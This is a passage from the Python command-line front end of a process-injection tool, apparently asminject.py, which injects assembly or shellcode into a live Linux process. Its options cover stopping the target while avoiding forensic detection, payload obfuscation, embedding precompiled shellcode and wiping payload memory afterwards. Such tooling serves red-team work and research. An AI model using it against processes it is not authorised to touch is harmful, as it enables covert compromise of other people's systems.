|
|
return v
|
|
if v.lower() in ('yes', 'true', 't', 'y', '1'):
|
|
return True
|
|
elif v.lower() in ('no', 'false', 'f', 'n', '0'):
|
|
return False
|
|
else:
|
|
raise argparse.ArgumentTypeError('Boolean value expected.')
|
|
|
|
# end: https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse
|
|
|
|
if __name__ == "__main__":
|
|
injection_params = asminject_parameters()
|
|
|
|
print(BANNER)
|
|
|
|
parser = argparse.ArgumentParser(
|
|
description="Inject arbitrary assembly code into a live process")
|
|
|
|
parser.add_argument("pid", metavar="process_id", type=int,
|
|
help="The pid of the target process")
|
|
|
|
parser.add_argument("asm_path", metavar="payload_path", type=str,
|
|
help="Path to the assembly code that should be injected")
|
|
|
|
parser.add_argument("--relative-offsets", action='append', nargs=2, type=str, required=False,
|
|
help="Library name and path to a list of relative offsets referenced in the assembly code. May be specified multiple times to reference several files. Generate on a per-binary basis using the following command, e.g. for libc-2.31: # ./get_relative_offsets.sh /usr/lib/x86_64-linux-gnu/libc-2.31.so > relative_offsets-libc-2.31.txt; Reference when calling asminject.py using e.g. --relative-offsets /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so")
|
|
|
|
parser.add_argument("--relative-offsets-from-binaries",type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Read relative offsets from the binaries referred to in /proc/<pid>/maps instead of a text file. This will *only* work if the target process is not running in a container, or if the container has the exact same executable and library versions as the host or container where asminject.py is running. Requires that the elftools Python library be installed on the system where asminject.py is running.")
|
|
|
|
parser.add_argument("--non-pic-binary", action='append', nargs='*', required=False,
|
|
help="Regular expression identifying one or more executables/libraries that do *not* use position-independent code, such as Python 3.x. May be specified multiple times.")
|
|
|
|
parser.add_argument("--restore-memory-region", action='append', nargs='*', required=False,
|
|
help=f"Regular expression identifying one or more regions of memory to perform a full backup of before injecting code, and restore after the payload has executed. May be specified multiple times.")
|
|
|
|
parser.add_argument("--restore-all-memory-regions", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Back up all of the memory mapped by the target process before injecting the payload, and restore all regions that are possible to restore after the payload has completed. Using this option is not recommended due to the volume of data that will be written to disk. If possible, use one or more --restore-memory-region directives to perform a targeted backup restore.")
|
|
|
|
parser.add_argument("--stop-method",
|
|
choices=["slow", "sigstop", "cgroup_freeze", "none"],
|
|
default="slow",
|
|
help="How to stop the target process prior to shellcode injection. \
|
|
'sigstop' uses the built-in Linux process suspension mechanism, and can have side-effects. \
|
|
'cgroup_freeze' requires root, and only operates in environments with cgroups.\
|
|
'slow' (default) attempts to avoid forensic detection and side-effects of suspending a process by \
|
|
temporarily setting the priority of the target process to the lowest possible value, \
|
|
and the priority of asminject.py to the highest possible value. \
|
|
'none' leaves the target process running as-is and is likely to cause race conditions.")
|
|
|
|
# parser.add_argument("--inject-method",
|
|
# choices=["wait-syscall", "overwrite-specific"], default="wait-syscall",
|
|
# help="Code-injection technique to use: wait for a syscall and overwrite the return address (like dlinject.py), or pre-emptively overwrite a specific function \
|
|
# Default: wait-syscall.")
|
|
|
|
parser.add_argument("--arch",
|
|
#choices=["x86-64", "x86", "arm32", "arm64"], default="x86-64",
|
|
choices=["x86-64", "x86", "arm32"], #, default="x86-64",
|
|
help="Processor architecture for the injected code.")
|
|
#Default: x86-64.")
|
|
|
|
parser.add_argument("--var",action='append',nargs=2, type=str,
|
|
help="Specify a custom variable for use by the stage 2 code, e.g. --var pythoncode \"print('OK')\". May be specified multiple times for different variables.")
|
|
|
|
parser.add_argument("--var-from-file",action='append',nargs=2, type=str,
|
|
help="Read the content of a file into a C-escaped string for use as a variable in the stage 2 code, e.g. --var-from-file pythoncode '/home/user/exploit_script.py'. May be specified multiple times for different variables.")
|
|
|
|
parser.add_argument("--plaintext", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Disable ANSI formatting for console output")
|
|
|
|
parser.add_argument("--pause-before-resume", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Prompt for input before resuming/unfreezing the target process")
|
|
|
|
parser.add_argument("--pause-before-launching-stage2", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Prompt for input before giving the stage 1 payload the go-ahead to launch stage 2")
|
|
|
|
parser.add_argument("--pause-before-memory-restore", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Prompt for input before restoring memory")
|
|
|
|
parser.add_argument("--pause-after-memory-restore", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Prompt for input after restoring memory, but before signalling the shellcode to proceed")
|
|
|
|
parser.add_argument("--do-not-deallocate", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Do not deallocate the read/write data block when the payload finishes (for reuse using --use-read-write-address)")
|
|
|
|
parser.add_argument("--use-read-execute-address", type=parse_command_line_numeric_value,
|
|
help="When injecting into a process that's already been injected into, use this existing block of memory for read/execute data instead of allocating a new one")
|
|
|
|
parser.add_argument("--use-read-execute-size", type=parse_command_line_numeric_value,
|
|
help="When injecting into a process that's already been injected into, assume this size for the existing block of read/execute memory")
|
|
|
|
parser.add_argument("--use-read-write-address", type=parse_command_line_numeric_value,
|
|
help="When injecting into a process that's already been injected into, use this existing block of memory for read/write data instead of allocating a new one")
|
|
|
|
parser.add_argument("--use-read-write-size", type=parse_command_line_numeric_value,
|
|
help="When injecting into a process that's already been injected into, assume this size for the existing block of read/write memory")
|
|
|
|
parser.add_argument("--precompiled", type=str,
|
|
help="Path to a precompiled binary shellcode payload to embed and launch (requires use of execute_precompiled.s or execute_precompiled_threaded.s as the stage 2 payload)")
|
|
|
|
parser.add_argument("--clear-payload-memory", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Set all bytes in the read/execute and read/write memory to 0x00 after the payload has finished executing")
|
|
|
|
parser.add_argument("--clear-payload-memory-value", type=parse_command_line_numeric_value,
|
|
help="When --clear-payload-memory is selected, used the specified value instead of 0x00 to overwrite memory. The value must be a decimal or hexadecimal integer that can be represented using a number of bytes less than or equal to the CPU register width for the architecture, i.e. 32 bits for 32-bit CPUs, 64 bits for 64-bit CPUs")
|
|
|
|
parser.add_argument("--clear-payload-memory-delay", type=parse_command_line_numeric_value,
|
|
help=f"When --clear-payload-memory is selected, wait this many seconds after the payload indicates it's finished before clearing read/write memory, and the same number of seconds before clearing read/execute memory. This is to account for multithreaded code spawned by the payload that may still hold a reference to the payload memory. (Default: {injection_params.clear_payload_memory_delay} second(s))")
|
|
|
|
parser.add_argument("--obfuscate", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Enable code obfuscation")
|
|
|
|
parser.add_argument("--per-line-obfuscation-percentage", type=parse_command_line_numeric_value,
|
|
help="If a given line of payload source is a valid location for obfuscation to be added, use this likelihood (1-100) when determining if the obfuscation *will* be added there")
|
|
|
|
parser.add_argument("--obfuscation-iterations", type=parse_command_line_numeric_value,
|
|
help="Perform the obfuscation routine this many times over each payload")
|
|
|
|
parser.add_argument("--temp-dir", type=str,
|
|
help="Path to use for writing temporary files instead of the default (a dynamically-created directory underneath the default temporary directory for the OS)")
|
|
|
|
parser.add_argument("--preserve-temp-files", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Do not delete temporary files created during the assembling and linking process")
|
|
|
|
parser.add_argument("--write-assembly-source-to-disk", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="When assembling the stage 1 and stage 2 payloads, write them to disk for debugging/analysis")
|
|
|
|
parser.add_argument("--debug", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="Enable debugging messages")
|
|
|
|
parser.add_argument("--use-stage-1-source", type=str,
|
|
help="Debugging option for issue reproduction. Path to a pre-existing stage 1 assembly source code file, e.g. the result of adding --write-assembly-source-to-disk and --preserve-temp-files to a previous run of asminject.py. Note that you *must* use the '-post-obfuscation-pre-replacement.s' version of the file or injection will fail.")
|
|
|
|
parser.add_argument("--use-stage-2-source", type=str,
|
|
help="Debugging option for issue reproduction. Path to a pre-existing stage 2 assembly source code file, e.g. the result of adding --write-assembly-source-to-disk and --preserve-temp-files to a previous run of asminject.py. Note that you *must* use the '-post-obfuscation-pre-replacement.s' version of the file or injection will fail.")
|
|
|
|
parser.add_argument("--arm-backup-fpr-1", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="For ARM processors specifically, back up the s0-s31 floating-point registers before executing the payload, and restore them afterward. Will cause an assembly failure if the registers don't exist on the target hardware.")
|
|
|
|
parser.add_argument("--arm-backup-fpr-2", type=str2bool, nargs='?',
|
|
const=True, default=False,
|
|
help="For ARM processors specifically, back up the d16-d31 floating-point registers before executing the payload, and restore them afterward. Will cause an assembly failure if the registers don't exist on the target hardware.")
|
|
|
|
args = parser.parse_args()
|
|
|
|
injection_params.ansi = not args.plaintext
|
|
|
|
if args.var:
|
|
for var_set in args.var:
|
|
injection_params.custom_replacements[f"[VARIABLE:{var_set[0]}:VARIABLE]"] = var_set[1]
|
|
injection_params.custom_replacements[f"[VARIABLE:{var_set[0]}.length:VARIABLE]"] = str(len(var_set[1]))
|
|
|
|
if args.var_from_file:
|
|
for var_set in args.var_from_file:
|
|
file_content_escaped = asminject_parameters.get_file_as_cstring(var_set[1])
|
|
injection_params.custom_replacements[f"[VARIABLE:{var_set[0]}:VARIABLE]"] = file_content_escaped
|
|
injection_params.custom_replacements[f"[VARIABLE:{var_set[0]}.length:VARIABLE]"] = str(len(file_content_escaped))
|
|
|
|
# attempt to autodetermine architecture unless explicitly specified
|
|
architecture_string = ""
|
|
detected_architecture_string = autodetect_architecture_string(injection_params)
|
|
|
|
autodetection_string = ""
|
|
if args.arch:
|
|
architecture_string = args.arch
|
|
else:
|
|
if detected_architecture_string:
|
|
architecture_string = detected_architecture_string
|
|
autodetection_string = "autodetected "
|
|
else:
|
|
log_error(f"Unable to automatically determine the processor architecture - specify an architecture manually using the --arch option", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
log(f"Using {autodetection_string}processor architecture '{architecture_string}'")
|
|
|
|
if args.arm_backup_fpr_1:
|
|
injection_params.arm_backup_s0_to_s31 = True
|
|
|
|
if args.arm_backup_fpr_2:
|
|
injection_params.arm_backup_d16_to_d31 = True
|
|
|
|
injection_params.base_script_path = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
|
|
injection_params.pid = args.pid
|
|
injection_params.set_architecture(architecture_string)
|
|
injection_params.asm_path = os.path.join(injection_params.base_script_path, "asm", injection_params.architecture, args.asm_path)
|
|
injection_params.stop_method = args.stop_method
|
|
injection_params.pause_before_resume = args.pause_before_resume
|
|
injection_params.pause_before_launching_stage2 = args.pause_before_launching_stage2
|
|
injection_params.pause_before_memory_restore = args.pause_before_memory_restore
|
|
injection_params.pause_after_memory_restore = args.pause_after_memory_restore
|
|
injection_params.enable_debugging_output = args.debug
|
|
|
|
if args.do_not_deallocate:
|
|
injection_params.deallocate_memory = False
|
|
|
|
if args.use_read_execute_address:
|
|
injection_params.existing_read_execute_address = args.use_read_execute_address
|
|
if not args.use_read_execute_size:
|
|
log_error("When specifying an existing read/execute address via --use-read-execute-address, an existing size must also be specified using --use-read-execute-size", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
if args.use_read_execute_size:
|
|
injection_params.read_execute_region_size = args.use_read_execute_size
|
|
|
|
if args.use_read_write_address:
|
|
injection_params.existing_read_write_address = args.use_read_write_address
|
|
if not args.use_read_write_size:
|
|
log_error("When specifying an existing read/write address via --use-read-write-address, an existing size must also be specified using --use-read-write-size", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
if args.use_read_write_size:
|
|
injection_params.read_write_region_size = args.use_read_write_size
|
|
injection_params.set_rwr_arbitrary_data_block_values()
|
|
|
|
if args.preserve_temp_files:
|
|
injection_params.delete_temp_files = False
|
|
|
|
if args.write_assembly_source_to_disk:
|
|
injection_params.write_assembly_source_to_disk = True
|
|
if injection_params.delete_temp_files:
|
|
log_warning("Operator specified --write-assembly-source-to-disk, but did not specify --preserve-temp-files, so the assembly source will be deleted when asminject.py exits", ansi=injection_params.ansi)
|
|
|
|
if args.precompiled:
|
|
injection_params.precompiled_shellcode = os.path.abspath(args.precompiled)
|
|
|
|
# readelf -a --wide /usr/lib/x86_64-linux-gnu/libc-2.31.so | grep DEFAULT | grep FUNC | sed 's/ / /g' | sed 's/ / /g' | sed 's/ / /g' | sed 's/ / /g' | sed 's/ / /g' | cut -d" " -f3,9 > offsets-libc-2.31.so.txt
|
|
if args.relative_offsets:
|
|
for relative_offset_set in args.relative_offsets:
|
|
injection_params.custom_replacements[f"[VARIABLE:{relative_offset_set[0]}:VARIABLE]"] = relative_offset_set[1]
|
|
injection_params.custom_replacements[f"[VARIABLE:{relative_offset_set[0]}.length:VARIABLE]"] = str(len(relative_offset_set[1]))
|
|
offsets_binary_name = relative_offset_set[0].strip()
|
|
offsets_path = relative_offset_set[1].strip()
|
|
if offsets_path != "":
|
|
reloff_abs_path = os.path.abspath(offsets_path)
|
|
offset_list = {}
|
|
try:
|
|
with open(reloff_abs_path) as offsets_file:
|
|
for line in offsets_file.readlines():
|
|
line_array = line.strip().split(" ")
|
|
offset_name = line_array[1].strip()
|
|
offset_value = int(line_array[0], 16)
|
|
if offset_value > 0:
|
|
if offset_name in offset_list.keys():
|
|
existing_value = offset_list[offset_name]
|
|
log_warning(f"The offset '{offset_name}' is redefined from '{existing_value}' to '{offset_value}' in '{reloff_abs_path}'", ansi=injection_params.ansi)
|
|
offset_list[offset_name] = offset_value
|
|
else:
|
|
if injection_params.enable_debugging_output:
|
|
log_warning(f"Ignoring offset '{offset_name}' in '{reloff_abs_path}' because it has a value of zero", ansi=injection_params.ansi)
|
|
except Exception as e:
|
|
log_error(f"Couldn't load list of relative offsets for '{offsets_binary_name}' from '{reloff_abs_path}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
injection_params.relative_offsets[offsets_binary_name] = offset_list
|
|
|
|
if args.relative_offsets_from_binaries:
|
|
injection_params.relative_offsets_from_binaries = True
|
|
|
|
if not injection_params.relative_offsets_from_binaries and len(injection_params.relative_offsets) < 1:
|
|
log_error("A list of relative offsets was not specified. If the injection fails, check your payload to make sure you're including the offsets of any exported functions it calls.", ansi=injection_params.ansi)
|
|
|
|
if args.non_pic_binary:
|
|
if len(args.non_pic_binary) > 0:
|
|
for elem in args.non_pic_binary:
|
|
for pb in elem:
|
|
if pb.strip() != "":
|
|
if pb not in injection_params.non_pic_binaries:
|
|
injection_params.non_pic_binaries.append(pb)
|
|
|
|
if args.restore_memory_region:
|
|
if len(args.restore_memory_region) > 0:
|
|
for elem in args.restore_memory_region:
|
|
for mr in elem:
|
|
if mr.strip() != "":
|
|
if mr not in injection_params.restore_memory_region_regexes:
|
|
injection_params.restore_memory_region_regexes.append(mr)
|
|
|
|
if args.restore_all_memory_regions:
|
|
injection_params.restore_all_memory_regions = True
|
|
|
|
if args.temp_dir:
|
|
injection_params.temp_file_base_directory = os.path.abspath(args.temp_dir)
|
|
|
|
log(f"Using '{injection_params.temp_file_base_directory}' as the base temporary directory", ansi=injection_params.ansi)
|
|
|
|
if args.use_stage_1_source:
|
|
injection_params.existing_stage_1_source = os.path.abspath(args.use_stage_1_source)
|
|
|
|
if args.use_stage_2_source:
|
|
injection_params.existing_stage_2_source = os.path.abspath(args.use_stage_2_source)
|
|
|
|
if args.obfuscate:
|
|
injection_params.obfuscate_payloads = True
|
|
|
|
if args.per_line_obfuscation_percentage:
|
|
injection_params.per_line_obfuscation_percentage = float(args.per_line_obfuscation_percentage) / 100.0
|
|
|
|
if args.obfuscation_iterations:
|
|
injection_params.obfuscation_iterations = args.obfuscation_iterations
|
|
|
|
if args.clear_payload_memory:
|
|
injection_params.clear_payload_memory_after_execution = args.clear_payload_memory
|
|
|
|
if args.clear_payload_memory_value:
|
|
injection_params.clear_payload_memory_value = args.clear_payload_memory_value
|
|
|
|
if args.clear_payload_memory_delay:
|
|
injection_params.clear_payload_memory_delay = float(args.clear_payload_memory_delay)
|
|
|
|
validate_overwrite_data(injection_params)
|
|
|
|
# Create the temporary directory
|
|
asminject_parameters.make_required_directory(injection_params.temp_file_base_directory, injection_params)
|
|
|
|
asminject(injection_params)
|